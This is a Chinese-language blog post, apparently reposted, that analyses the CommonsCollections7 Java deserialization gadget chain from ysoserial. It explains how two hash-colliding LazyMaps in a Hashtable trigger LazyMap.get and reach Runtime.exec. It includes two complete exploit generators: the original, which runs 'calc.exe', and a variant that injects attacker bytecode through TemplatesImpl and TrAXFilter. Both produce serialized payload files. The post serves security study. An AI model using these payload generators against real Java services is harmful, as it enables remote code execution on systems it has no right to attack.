Hashtable.readObject
Hashtable.reconstitutionPut
AbstractMapDecorator.equals
AbstractMap.equals
LazyMap.get
ChainedTransformer.transform
InvokerTransformer.transform
Runtime.exec
cc7的入口点加入了hashtable类，构造感觉也比较有意思，将两个hashcode值相同的lazymap放进同一个hashtable中，再反序列化恢复lazymap再次装进hashtable中时，因为两个lazpmap算出来hash值相同
所以要进一步从第二个lazymap中取出第一个lazymap的key判断是否元素也是一样，所以取key当然又要走到lazymap.get，那么利用hash相同的特性在反序列化利用链jdk7u21中也用到了，绕过e.hash == hash来进一步触发动态代理，利用链的构造也非常精巧，因此理解函数内部的工作过程对于知识的融汇贯通也非常重要
Commonscollections7衍生1 ：根据TrAXFilter类的特点结合一层constantTransformer和一层invokeTransformer即可实例化payload类中的字节码
CommonsCollections7.java(原版exp):
package CommonsCollections7;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;
public class exp {
public static void main(String[] args) throws IOException {
//封装转换链
Transformer[] trans = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class,Class[].class},
new Object[]{"getRuntime",new Class[0]}),
new InvokerTransformer("invoke",
new Class[]{Object.class,Object[].class},
new Object[]{null,null}
),
new InvokerTransformer("exec",
new Class[]{String.class},
new Object[]{"calc.exe"})
};
//封装chained链
ChainedTransformer chain = new ChainedTransformer(trans);
//构造两个hash值相同的lazymap
Map innerMap1 = new HashMap();
Map innerMap2 = new HashMap();
Map lazyMap1 = LazyMap.decorate(innerMap1,chain);
lazyMap1.put("zZ",1);
Map lazyMap2 = LazyMap.decorate(innerMap2, chain);
lazyMap2.put("yy",1);
Hashtable hashTable = new Hashtable();
hashTable.put(lazyMap1,1);
hashTable.put(lazyMap2,2);
//移除生成exp过程中因两个lazymap的hash相同而放入lazymap2的键
lazyMap2.remove("zZ");
//序列化
File file;
file = new File(System.getProperty("user.dir")+"/javasec-ysoserial/src/main/resources/commonscollections7.ser");
ObjectOutputStream obj = new ObjectOutputStream(new FileOutputStream(file));
obj.writeObject(hashTable);
}
}
CommonsCollections7-1.java(根据cc3特点生成衍生版1)：
package CommonsCollections7;
import CommonsCollections4.payload;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import javassist.*;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;
public class exp1 {
public static void main(String[] args) throws IOException, CannotCompileException, NotFoundException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
//封装TemplatesImpl类
TemplatesImpl tmp = new TemplatesImpl();
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(payload.class));
CtClass pay_class = pool.get(payload.class.getName());
byte[] payCode = pay_class.toBytecode();
Class clazz;
clazz =Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
//存储payload字节码
Field byteCode = clazz.getDeclaredField("_bytecodes");
byteCode.setAccessible(true);
byteCode.set(tmp,new byte[][]{payCode});
Field name = clazz.getDeclaredField("_name");
name.setAccessible(true);
name.set(tmp,"tr1ple");
Transformer[] trans = new Transformer[]{
null,
null
};
//封装chained转换链
ChainedTransformer chain = new ChainedTransformer(trans);
//构造两个hash值相同的lazymap
Map innerMap1 = new HashMap();
Map innerMap2 = new HashMap();
Map lazyMap1 = LazyMap.decorate(innerMap1,chain);
lazyMap1.put("zZ",1);
Map lazyMap2 = LazyMap.decorate(innerMap2, chain);
lazyMap2.put("yy",1);
Hashtable hashTable = new Hashtable();
hashTable.put(lazyMap1,1);
hashTable.put(lazyMap2,2);
lazyMap2.remove("zZ");
//因为构造exp过程也会调用lazymap.get，如果直接调用transform将报错，因此通过反射赋值
Transformer[] trans1 = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(
new Class[]{Templates.class},
new Object[]{tmp}
)
};
clazz = ChainedTransformer.class;
Field itrans = clazz.getDeclaredField("iTransformers");
itrans.setAccessible(true);
itrans.set(chain,trans1);
//序列化
File file;
file = new File(System.getProperty("user.dir")+"/javasec-ysoserial/src/main/resources/commonscollections7-1.ser");
ObjectOutputStream obj = new ObjectOutputStream(new FileOutputStream(file));
obj.writeObject(hashTable);
}
}
总结
ysoserial在构造整个CommonsCollections链的过程中多处用到了动态代理和反射的知识，想熟练掌握这些链的构造一定要熟悉基本概念，然后要能够想清楚每条链的是如何链接起来的，希望这篇文章能够帮助大家更好巩固CommonsCollections系列的理解，文中若有表述不对，还请师傅们指出。
正文到此结束
- 本文标签： 实例 final Property HashTable rmi https 数据 DOM dependencies queue HashMap struct 调试 Document 参数 文章 id HashSet node UI App value ACE 希望 stream tab map CTO key http Collection Proxy classpath cat 代码 XML src IO newProxyInstance ssl tar API Collections collection1 ORM 字节码 apache json 总结 constant equals java js IDE
- 版权声明： 本文为互联网转载文章，出处已在文章中说明(部分除外)。如果侵权，请联系本站长删除，谢谢。
- 本文海报： 生成海报一 生成海报二
热门推荐
相关文章
近期评论
-
666
-
文章和留言都翻到11页了 没有OOM
-
-
朋友，翻页到11页，及以后，会出现OOM，无法访问
-
-
-
-
版本号是多少，你可以下载哪个代码仓库，jdk选1.8 直接跑就行
-
-
Loading...
![[HBLOG]公众号](https://www.liuhaihua.cn/img/qrcode_gzh.jpg)
